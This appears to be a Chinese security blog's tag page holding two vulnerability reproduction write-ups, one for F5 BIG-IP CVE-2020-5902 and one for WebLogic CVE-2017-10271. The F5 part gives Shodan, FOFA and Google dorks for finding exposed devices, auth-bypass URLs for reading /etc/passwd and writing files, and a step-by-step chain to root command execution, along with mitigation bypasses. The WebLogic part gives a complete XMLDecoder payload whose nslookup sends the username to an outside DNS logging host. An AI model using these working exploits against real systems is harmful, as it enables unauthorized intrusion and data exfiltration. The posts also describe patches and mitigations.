Tag:远程命令执行

Tag (远程命令执行)'s result:

F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)重现及注意点

//本文首发先知社区:https://xz.aliyun.com/t/8007 0x00 概述 20200706,网上曝出F5 BIG-IP TMUI RCE漏洞。 F5 BIG-IP的TMUI组件(流量管理用户界面)存在认证绕过漏洞,该漏洞在于Tomcat解析的URL与request.getPathInfo()存在差异,导致可绕过权限验证,未授权访问TMUI模块所有功能,进而可以读取/写入任意文件,命令执行等。   0x01 影响范围 BIG-IP 15.x: 15.1.0/15.0.0 BIG-IP 14.x: 14.1.0 ~ 14.1.2 BIG-IP 13.x: 13.1.0 ~ 13.1.3 BIG-IP 12.x: 12.1.0 ~ 12.1.5 BIG-IP 11.x: 11.6.1 ~ 11.6.5 搜索关键词: shodan http.favicon.hash:-335242539 http.title:”BIG-IP&reg;- Redirect” fofa title=”BIG-IP&reg;- Redirect” tmui censys 443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5 443.https.get.title:”BIG-IP&reg;- Redirect” google inurl:”tmui/login.jsp” intitle:”BIG-IP” inurl:”tmu   0x02 漏洞重现 TMUI网站目录:/usr/local/www/tmui/ TMUI web server:Tomcat 0. 使用POC检测 https://1.2.3.4/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902 https://1.2.3.4/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp 1. 任意文件读取 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 2. 任意文件写入 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp         3. 列认证用户 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user   4. 列目录 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ 据David Vieira-Kurz(@secalert)说/tmp/下的sess_xxxxxxxxx文件可以替换cookie登录,但是试了几个都失败,可能是过期了……   5. RCE 1)tmshCmd.jsp?command=create+cli+alias+private+list+command+bash 2)fileSave.jsp?fileName=/tmp/cmd&content=id 3)tmshCmd.jsp?command=list+/tmp/cmd 4)tmshCmd.jsp?command=delete+cli+alias+private+list 多发送几次就能rce,基本都是root 记得还原   0x03 有缺陷的缓解方案1 1) 登录TMOS Shell(tmsh): tmsh 2) 编辑httpd组件配置文件 edit /sys httpd all-properties 3) 添加include代码 include ‘ <LocationMatch “.*\.\.;.*”> Redirect 404 / </LocationMatch> ‘ 4) 保存配置文件 ESC 并:wq 5) 保存系统配置 save /sys config 6) 重启httpd服务 restart sys service httpd   0x04 缓解方案绕过1 有缺陷的缓解方案正则限制了..; 但是/hsqldb这个接口加上;(分号)就可以绕过登录认证,进而反序列化,导致RCE 接着利用工具进行反序列化rce https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 挺鸡肋的,需要知道hsqldb密码,默认空 试过了几个都是socket creation error……   0x05 有缺陷的缓解方案2 include ‘ <LocationMatch “;”> Redirect 404 / </LocationMatch> ‘   0x06 缓解方案绕过2 虽然直接限制分号,但是可以用/hsqldb%0a绕过认证   0x07 防御方案 Command line tmsh edit /sys httpd all-properties Locate the line……

cve-2017-10271重现(附poc)

0x00 概述 2017年12月下旬,网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞(cve-2017-10271),直接post构造的xml数据包即可rce,威力巨大,影响范围广,本文对此漏洞在windows下进行重现。   0x01 影响范围 Weblogic版本: 10.3.6.0.0 12.2.1.1.0 12.2.1.2.0 12.1.3.0.0   0x02 漏洞重现 访问ip/domain:port/wls-wsat/CoordinatorPortType (默认端口7001) 如下图则表明可能存在此漏洞 开始测试 poc验证 Post数据包如下 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: www.xxx.com:7001 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type:text/xml Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 830   <soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header> <work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/”> <java version=”1.8.0_131″ class=”java.beans.XMLDecoder”> <void class=”java.lang.ProcessBuilder”> <array class=”java.lang.String” length=”3″> <void index=”0″> <string>C:\\windows\\system32\\cmd.exe</string> </void> <void index=”1″> <string>/c</string> </void> <void index=”2″> <string>nslookup %username%.lsabcd.ceye.io</string> </void> </array> <void method=”start”/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> 观察响应: HTTP/1.1 500 Internal Server Error Connection: close Date: Thu, 04 Jan 2018 02:38:24 GMT Content-Type: text/xml;charset=”utf-8″ X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 262   <?xml version=’1.0′ encoding=’UTF-8′?><S:Envelope xmlns:S=”http://schemas.xmlsoap.org/soap/envelope/”><S:Body><S:Fault xmlns:ns4=”http://www.w3.org/2003/05/soap-envelope”><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope> 响应码500,其实已经成功执行命令,看看dnslog的回显: 附上win下的一些变量 ping %COMPUTERNAME%.baidu.com %COMPUTERNAME% 是一个变量,得到计算机名%ALLUSERSPROFILE% : 列出所有用户Profile文件位置。 %APPDATA% :  列出应用程序数据的默认存放位置。 %CD% :  列出当前目录。 %CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。 %CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。 %CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。 %CommonProgramFiles% :  列出了常用文件的文件夹路径。 %COMPUTERNAME% :  列出了计算机名。 %COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。 %DATE% :  列出当前日期。 %ERRORLEVEL% :  列出了最近使用的命令的错误代码。 %HOMEDRIVE% :  列出与用户主目录所在的驱动器盘符。 %HOMEPATH% :  列出用户主目录的完整路径。 %HOMESHARE% :  列出用户共享主目录的网络路径。 %LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。 %NUMBER_OF_PROCESSORS% :  列出了计算机安装的处理器数。 %OS% :  列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.) %Path% :  列出了可执行文件的搜索路径。 %PATHEXT% :  列出操作系统认为可被执行的文件扩展名。 %PROCESSOR_ARCHITECTURE% :  列出了处理器的芯片架构。 %PROCESSOR_IDENTFIER% :  列出了处理器的描述。 %PROCESSOR_LEVEL% :  列出了计算机的处理器的型号。 %PROCESSOR_REVISION% :  列出了处理器的修订号。 %ProgramFiles% :  列出了Program Files文件夹的路径。 %PROMPT% :  列出了当前命令解释器的命令提示设置。 %RANDOM% :  列出界于0 和 32767之间的随机十进制数。 %SESSIONNAME% :  列出连接到终端服务会话时的连接和会话名。 %SYSTEMDRIVE% :  列出了Windows启动目录所在驱动器。 %SYSTEMROOT% :  列出了Windows启动目录的位置。 %TEMP% and %TMP% :  列出了当前登录的用户可用应用程序的默认临时目录。 %TIME% :  列出当前时间。 %USERDOMAIN% :  列出了包含用户帐号的域的名字。 %USERNAME% :  列出当前登录的用户的名字。 %USERPROFILE% :  列出当前用户Profile文件位置。 %WINDIR% :  列出操作系统目录的位置。 %ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 %APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 %CD% 本地 返回当前目录字符串。 %CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 %CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 %COMPUTERNAME%  系统 返回计算机的名称。 %COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。 %DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 %ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。 %HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。 %NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。 %OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 %PATH% 系统 指定可执行文件的搜索路径。 %PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 %PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 %PROCESSOR_IDENTFIER% 系统 返回处理器说明。 %PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。 %PROCESSOR_REVISION% 系统 返回处理器的版本号。 %PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 %RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 %SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。 %TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 %TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。 %USERDOMAIN% 本地 返回包含用户帐户的域的名称。 %USERNAME% 本地 返回当前登录的用户的名称。 %USERPROFILE% 本地 返回当前用户的配置文件的位置。 %WINDIR% 系统 返回操作系统目录的位置。   %allusersprofile%——————–所有用户的profile路径   %Userprofile%———————–当前用户的配置文件目录   %Appdata%————————–当前用户的应用程序路径   %commonprogramfiles%————-应用程序公用的文件路径   %homedrive%————————当前用户的主盘   %Homepath%————————当前用户的主目录   %programfiles%———————-应用程序的默认安装目录   %systemdrive%———————-系统所在的盘符   %systemroot%———————–系统所在的目录   %windir%—————————-同上,总是跟systemroot一样   %tmp%——————————当前用户的临时目录   %temp%—————————–同上临时目录   0x03 其他 如果要写入文件,记得转义相关字符如 “&”: “&amp;”, ‘”‘: “&quot;”, “‘”: “&apos;”, “>”: “&gt;”, “<“: “&lt;”, 几个默认路径: bea_wls9_async_response _WL_internal/bea_wls_internal/9j4dqk/war/ uddiexplorer _WL_internal/wls-wast   0x04 修复方案……